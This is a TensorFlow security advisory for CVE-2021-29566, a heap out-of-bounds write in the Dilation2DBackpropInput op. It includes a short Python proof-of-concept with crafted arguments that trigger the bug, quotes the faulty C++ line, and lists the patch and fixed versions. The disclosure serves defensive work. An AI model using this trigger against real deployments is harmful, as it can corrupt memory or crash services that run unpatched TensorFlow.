## TFSA-2021-054: Heap OOB access in `Dilation2DBackpropInput`

### CVE Number
CVE-2021-29566

### Impact
An attacker can write outside the bounds of heap allocated arrays by passing
invalid arguments to `tf.raw_ops.Dilation2DBackpropInput`:

```python
import tensorflow as tf

input_tensor = tf.constant([1.1] * 81, shape=[3, 3, 3, 3], dtype=tf.float32)
filter = tf.constant([], shape=[0, 0, 3], dtype=tf.float32)
out_backprop = tf.constant([1.1] * 1062, shape=[3, 2, 59, 3], dtype=tf.float32)

tf.raw_ops.Dilation2DBackpropInput(
  input=input_tensor, filter=filter, out_backprop=out_backprop,
  strides=[1, 40, 1, 1], rates=[1, 56, 56, 1], padding='VALID')
```

This is because the
[implementation](https://github.com/tensorflow/tensorflow/blob/afd954e65f15aea4d438d0a219136fc4a63a573d/tensorflow/core/kernels/dilation_ops.cc#L321-L322)
does not validate before writing to the output array.

```cc
in_backprop(b, h_in_max, w_in_max, d) += out_backprop(b, h_out, w_out, d);
```

The values for `h_out` and `w_out` are guaranteed to be in range for
`out_backprop` (as they are loop indices bounded by the size of the array).
However, there are no similar guarantees relating `h_in_max`/`w_in_max` and
`in_backprop`.

### Patches
We have patched the issue in GitHub commit
[3f6fe4dfef6f57e768260b48166c27d148f3015f](https://github.com/tensorflow/tensorflow/commit/3f6fe4dfef6f57e768260b48166c27d148f3015f).

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this
commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow
2.1.4, as these are also affected and still in supported range.

### For more information
Please consult [our security
guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for
more information regarding the security model and how to contact us with issues
and questions.

### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu
X-Team.
